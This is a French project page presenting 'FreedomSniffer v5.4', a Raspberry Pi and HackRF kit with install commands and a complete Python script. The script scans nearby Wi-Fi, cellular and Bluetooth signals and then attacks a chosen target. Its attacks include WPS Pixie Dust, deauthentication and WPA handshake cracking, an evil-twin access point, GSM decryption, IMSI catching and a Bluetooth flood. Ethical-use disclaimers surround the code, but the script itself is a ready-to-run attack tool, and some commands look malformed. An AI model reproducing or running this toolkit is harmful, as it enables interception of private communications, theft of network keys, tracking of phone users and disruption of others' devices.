🔍 FreedomSniffer v5.4

"La surveillance spectrale accessible à tous. Pas à vendre. Pas pour nuire."

🧠 Qu’est-ce que c’est ?

FreedomSniffer est une suite d’analyse multi-spectre Wi-Fi / GSM / LTE / 5G / Bluetooth, orientée cybersécurité, pour audit de signaux en temps réel. Développé dans un cadre éducatif et expérimental, cet outil reproduit certaines capacités réservées aux services spécialisés — sans nécessiter 15 000€ de matériel.

🎯 Pourquoi ce projet ?

Parce que :

⚖️ Usage strictement éthique

🛑 Ce logiciel n’est pas un outil de surveillance illégale ou d’attaque réelle.

Il est :

En France comme ailleurs, intercepter ou perturber un réseau public ou privé est illégal sans autorisation.

💥 Ce que FreedomSniffer prouve

⚙️ Fonctionnalités clés

📦 Équipement total : ~250-350€

Base

Antenne Wi-Fi Dual-Band DIY

Antenne GSM/LTE/5G DIY

Antenne Bluetooth DIY

Alimentation

Extras

Coût Total : 250-350€.

🔧 Montage DIY Étape par Étape

Antenne Wi-Fi Dual-Band

Antenne GSM/LTE/5G Dipôle

Antenne Bluetooth

Raspberry Pi 5 Setup

Calibration

💾 Installation Logicielle

OS

Raspberry OS 64-bit (Bullseye).

Dépendances (ajout 5G)

sudo apt install -y scapy python3-pip hackrf gr-gsm aircrack-ng bluelog
pip3 install scapy
git clone https://github.com/ptrkysik/gr-gsm && cd gr-gsm && cmake . && make && sudo make install
sudo apt install srsran # Optionnel, pour analyse 5G si dispo

Test

📜 Script Python – FreedomSniffer v5.4

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
FreedomSniffer v5.4 - Scan Live Wi-Fi/GSM/LTE/5G/BT avec Validation et Attaques Tactiques
Copyright (C) 2025 par Platon-y pour pctamalou.fr
Scan brut 3 min, validation, attaques full spectre !
"""

import os
import time
import json
import logging
import subprocess
from scapy.all import *
from threading import Thread, Lock
from datetime import datetime

# Config logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')

# Configuration
CONFIG = {
    "interfaces": {"wifi": "wlan0mon", "bluetooth": "bluetooth0", "gsm": "hackrf"},
    "frequencies": {"gsm": "900M", "lte": "1800M", "5g": "3500M", "wifi": ["2.4G", "5G"]},
    "timings": {"scan_duration": 180, "deauth_timeout": 30, "wps_timeout": 300, "crack_timeout": 600},
    "paths": {
        "captures": "/mnt/secure/captures",
        "wordlists": "/mnt/secure/wordlists",
        "kraken": "/opt/kraken/kraken",
        "yatebts_config": "/etc/yate/yatebts.conf"
    }
}

# Variables globales
wifi_targets = {}
gsm_targets = {}
lte_targets = {}
fiveg_targets = {}
bt_targets = {}
lock = Lock()

# Setup Wi-Fi monitor
def setup_wifi_monitor():
    os.system(f"ifconfig {CONFIG['interfaces']['wifi'][:-3]} down")
    os.system(f"iwconfig {CONFIG['interfaces']['wifi'][:-3]} mode monitor")
    os.system(f"ifconfig {CONFIG['interfaces']['wifi'][:-3]} up")
    logging.info(f"[+] {CONFIG['interfaces']['wifi']} en mode monitor")

# Scan Wi-Fi live
def sniff_wifi():
    def packet_handler(pkt):
        if pkt.haslayer(Dot11Beacon):
            ssid = pkt[Dot11Beacon].info.decode(errors="ignore").strip() or "Hidden"
            with lock:
                if ssid not in wifi_targets:
                    signal = pkt.dBm_AntSignal if hasattr(pkt, "dBm_AntSignal") else -80
                    wifi_targets[ssid] = {
                        "bssid": pkt[Dot11].addr2,
                        "channel": int(ord(pkt[Dot11Elt:3].info)),
                        "signal": signal,
                        "security": detect_security(pkt),
                        "captured": False,
                        "key": None,
                        "wps_pin": None
                    }
                    logging.info(f"[Wi-Fi] SSID: {ssid} | BSSID: {pkt[Dot11].addr2} | Signal: {signal}dBm")
    logging.info("[+] Sniff Wi-Fi démarré...")
    sniff(iface=CONFIG["interfaces"]["wifi"], prn=packet_handler, timeout=CONFIG["timings"]["scan_duration"])

# Scan GSM/LTE/5G live
def sniff_cell(freq, target_set, label):
    try:
        logging.info(f"[+] Sniff {label} démarré sur {freq}...")
        proc = subprocess.Popen(["grgsm_livemon", "-f", freq], stdout=subprocess.PIPE, text=True)
        start_time = time.time()
        while time.time() - start_time < CONFIG["timings"]["scan_duration"]:
            line = proc.stdout.readline()
            if "IMSI" in line and label != "5G":
                imsi = line.strip().split()[-1]
                with lock:
                    target_set[imsi] = {"lac": "N/A"}
                    logging.info(f"[{label}] IMSI: {imsi}")
            elif "Cell" in line or "ID" in line:
                cell_id = line.strip().split()[-1]
                with lock:
                    target_set[cell_id] = {"lac": "N/A"}
                    logging.info(f"[{label}] Cell ID: {cell_id}")
        proc.terminate()
    except subprocess.CalledProcessError:
        logging.error(f"[!] Erreur {label} – vérifie gr-gsm !")

# Scan Bluetooth live
def sniff_bluetooth():
    try:
        logging.info("[+] Sniff Bluetooth démarré...")
        proc = subprocess.Popen(["bluelog", "-t"], stdout=subprocess.PIPE, text=True)
        start_time = time.time()
        while time.time() - start_time < CONFIG["timings"]["scan_duration"]:
            line = proc.stdout.readline()
            if "DEV" in line:
                parts = line.split()
                addr = parts[1]
                name = parts[2] if len(parts) > 2 else "Unknown"
                with lock:
                    bt_targets[addr] = {"name": name, "rssi": -100}
                    logging.info(f"[BT] Device: {addr} | Name: {name}")
        proc.terminate()
    except subprocess.CalledProcessError:
        logging.error("[!] Erreur Bluetooth – installe bluelog !")

# Détection sécurité Wi-Fi
def detect_security(pkt):
    if pkt.haslayer(Dot11EltRSN):
        rsn = pkt[Dot11EltRSN]
        version = getattr(rsn, "version", 0)
        return "WPA3" if version == 3 else "WPA2" if version == 2 else "WPA"
    return "Open"

# Validation et attaque
def validate_and_attack():
    logging.info("\n[+] Réseaux détectés après scan :")
    logging.info("--- Wi-Fi ---")
    for ssid, t in wifi_targets.items():
        logging.info(f"SSID: {ssid} | BSSID: {t['bssid']} | Security: {t['security']}")
    logging.info("--- GSM ---")
    for imsi, t in gsm_targets.items():
        logging.info(f"IMSI: {imsi}")
    logging.info("--- LTE ---")
    for imsi, t in lte_targets.items():
        logging.info(f"IMSI: {imsi}")
    logging.info("--- 5G ---")
    for cell, t in fiveg_targets.items():
        logging.info(f"Cell ID: {cell}")
    logging.info("--- Bluetooth ---")
    for addr, t in bt_targets.items():
        logging.info(f"Device: {addr} | Name: {t['name']}")

    choice = input("\nQue veux-tu attaquer ? (wifi  / gsm  / lte  / 5g  / bt  / rien) : ").strip().lower()
    if choice.startswith("wifi"):
        target_ssid = choice.split()[1]
        if target_ssid in wifi_targets:
            attack_wifi(target_ssid)
    elif choice.startswith("gsm"):
        target_imsi = choice.split()[1]
        if target_imsi in gsm_targets:
            attack_gsm(target_imsi)
    elif choice.startswith("lte"):
        target_imsi = choice.split()[1]
        if target_imsi in lte_targets:
            attack_gsm(target_imsi)  # Même attaque pour LTE
    elif choice.startswith("5g"):
        target_cell = choice.split()[1]
        if target_cell in fiveg_targets:
            attack_5g(target_cell)
    elif choice.startswith("bt"):
        target_addr = choice.split()[1]
        if target_addr in bt_targets:
            attack_bluetooth(target_addr)
    else:
        logging.info("[+] Rien sélectionné – scan terminé.")

# Attaques Wi-Fi
def check_wps(bssid):
    try:
        result = subprocess.run(["wash", "-i", CONFIG["interfaces"]["wifi"], "-b", bssid], capture_output=True, text=True, timeout=30)
        return "WPS Locked: No" in result.stdout
    except:
        return False

def pixie_dust_attack(bssid):
    logging.info(f"[Wi-Fi] Pixie Dust sur {bssid}...")
    pixie_log = os.path.join(CONFIG["paths"]["captures"], f"pixie_{bssid}.log")
    try:
        result = subprocess.run(
            ["reaver", "-i", CONFIG["interfaces"]["wifi"], "-b", bssid, "-K", "1", "-o", pixie_log],
            capture_output=True, text=True, timeout=CONFIG["timings"]["wps_timeout"]
        )
        if "WPS pin found" in result.stdout.lower():
            pin = result.stdout.split("WPS pin found")[1].splitlines()[0].strip()
            logging.info(f"[Wi-Fi] PIN WPS: {pin}")
            return pin
        return None
    except:
        logging.warning(f"[!] Échec Pixie Dust sur {bssid}")
        return None

def capture_handshake(bssid, channel):
    cap_file = os.path.join(CONFIG["paths"]["captures"], f"handshake_{bssid}_{int(time.time())}")
    logging.info(f"[Wi-Fi] Capture handshake pour {bssid}...")
    try:
        deauth = Thread(target=subprocess.run, args=(["aireplay-ng", "--deauth", "20", "-a", bssid, CONFIG["interfaces"]["wifi"]],))
        deauth.start()
        proc = subprocess.Popen(
            ["airodump-ng", "-c", str(channel), "--bssid", bssid, "-w", cap_file, CONFIG["interfaces"]["wifi"]],
            stdout=subprocess.PIPE, stderr=subprocess.PIPE
        )
        time.sleep(CONFIG["timings"]["deauth_timeout"])
        proc.terminate()
        deauth.join()
        if os.path.exists(f"{cap_file}-01.cap"):
            logging.info(f"[Wi-Fi] Handshake capturé: {cap_file}-01.cap")
            return f"{cap_file}-01.cap"
        return None
    except Exception as e:
        logging.error(f"[!] Erreur capture handshake: {e}")
        return None

def smart_crack(bssid):
    cap_file = max([f for f in os.listdir(CONFIG["paths"]["captures"]) if f.startswith(f"handshake_{bssid}")], default=None)
    if not cap_file:
        return None
    cap_path = os.path.join(CONFIG["paths"]["captures"], cap_file)
    wordlist = os.path.join(CONFIG["paths"]["wordlists"], "rockyou.txt")
    logging.info(f"[Wi-Fi] Crack WPA pour {bssid}...")
    try:
        result = subprocess.run(
            ["aircrack-ng", "-w", wordlist, "-b", bssid, cap_path],
            capture_output=True, text=True, timeout=CONFIG["timings"]["crack_timeout"]
        )
        if "KEY FOUND" in result.stdout:
            key = result.stdout.split("KEY FOUND")[1].splitlines()[1].strip()
            logging.info(f"[Wi-Fi] Clé WPA: {key}")
            return key
        return None
    except:
        logging.warning(f"[!] Échec crack WPA sur {bssid}")
        return None

def evil_twin(ssid, bssid, channel):
    logging.info(f"[Wi-Fi] Evil Twin sur {ssid}...")
    try:
        subprocess.Popen(["airbase-ng", "-a", bssid, "-e", ssid, "-c", str(channel), CONFIG["interfaces"]["wifi"]])
        logging.info(f"[Wi-Fi] AP Evil Twin lancé – surveille les connexions !")
    except Exception as e:
        logging.error(f"[!] Erreur Evil Twin: {e}")

def attack_wifi(ssid):
    target = wifi_targets[ssid]
    if target["security"] == "WPA3":
        logging.info(f"[Wi-Fi] {ssid} en WPA3 – attaque limitée")
        return
    if check_wps(target["bssid"]):
        pin = pixie_dust_attack(target["bssid"])
        if pin:
            target["wps_pin"] = pin
            return
    cap_file = capture_handshake(target["bssid"], target["channel"])
    if cap_file:
        key = smart_crack(target["bssid"])
        if key:
            target["key"] = key
            target["captured"] = True
    evil_twin(ssid, target["bssid"], target["channel"])

# Attaques GSM/LTE/5G
def attack_gsm(imsi):
    logging.info(f"[GSM/LTE] Attaque sur {imsi}...")
    try:
        if os.path.exists(CONFIG["paths"]["kraken"]):
            output = os.path.join(CONFIG["paths"]["captures"], f"gsm_decrypted_{imsi}.pcap")
            subprocess.run([CONFIG["paths"]["kraken"], "--imsi", imsi, "--output", output], check=True, timeout=120)
            logging.info(f"[GSM/LTE] Décryptage réussi: {output}")
        if os.path.exists(CONFIG["paths"]["yatebts_config"]):
            subprocess.Popen(["yate", "-c", CONFIG["paths"]["yatebts_config"], "--imsi", imsi])
            logging.info("[GSM/LTE] YateBTS lancé – IMSI catching actif")
    except Exception as e:
        logging.error(f"[!] Erreur attaque GSM/LTE: {e}")

def attack_5g(cell_id):
    logging.info(f"[5G] Attaque sur Cell {cell_id}...")
    try:
        dump_file = os.path.join(CONFIG["paths"]["captures"], f"5g_dump_{cell_id}_{int(time.time())}.raw")
        subprocess.Popen(
            ["hackrf_transfer", "-f", f"{int(float(CONFIG['frequencies']['5g'][:-1]) * 1e6)}", "-s", "8000000", "-n", "4000000", "-w", dump_file]
        )
        logging.info(f"[5G] Dump brut lancé – analyse {dump_file} avec Wireshark !")
        if os.path.exists(CONFIG["paths"]["yatebts_config"]):
            subprocess.Popen(["yate", "-c", CONFIG["paths"]["yatebts_config"], "--cell", cell_id])
            logging.info("[5G] YateBTS tenté – IMSI catching possible")
    except Exception as e:
        logging.error(f"[!] Erreur attaque 5G: {e}")

# Attaques Bluetooth
def attack_bluetooth(addr):
    logging.info(f"[BT] Attaque sur {addr}...")
    try:
        subprocess.run(["ubertooth-btle", "-f", "-t", addr], timeout=60)
        logging.info(f"[BT] Scan Ubertooth terminé")
        subprocess.Popen(["l2ping", "-f", addr])  # Flood ping BT
        logging.info(f"[BT] Flood L2CAP lancé – perturbe {addr}")
    except Exception as e:
        logging.error(f"[!] Erreur attaque BT: {e}")

# Main
if __name__ == "__main__":
    logging.info("🔥 FreedomSniffer v5.4 – Scan live Wi-Fi/GSM/LTE/5G/BT avec attaques! 🔥")
    
    # Setup
    setup_wifi_monitor()
    os.makedirs(CONFIG["paths"]["captures"], exist_ok=True)
    
    # Scan parallèle
    wifi_thread = Thread(target=sniff_wifi)
    gsm_thread = Thread(target=sniff_cell, args=(CONFIG["frequencies"]["gsm"], gsm_targets, "GSM"))
    lte_thread = Thread(target=sniff_cell, args=(CONFIG["frequencies"]["lte"], lte_targets, "LTE"))
    fiveg_thread = Thread(target=sniff_cell, args=(CONFIG["frequencies"]["5g"], fiveg_targets, "5G"))
    bt_thread = Thread(target=sniff_bluetooth)
    wifi_thread.start()
    gsm_thread.start()
    lte_thread.start()
    fiveg_thread.start()
    bt_thread.start()
    
    # Attendre 3 min
    wifi_thread.join()
    gsm_thread.join()
    lte_thread.join()
    fiveg_thread.join()
    bt_thread.join()
    
    # Validation et attaque
    validate_and_attack()

🧾 Disclaimer final

Ce projet est fourni "tel quel", sans aucune garantie. L’auteur décline toute responsabilité en cas d’usage abusif. Si vous n’êtes pas 100% légal dans votre pays, ne touchez pas à ce code.

Créateur : Platon-y pour PCTamalou.

Licence : CC BY-NC-SA 4.0 – Partagez, adaptez, créditez "PCTamalou", pas d’usage commercial, même licence pour vos versions. Plus d’infos : CC BY-NC-SA 4.0.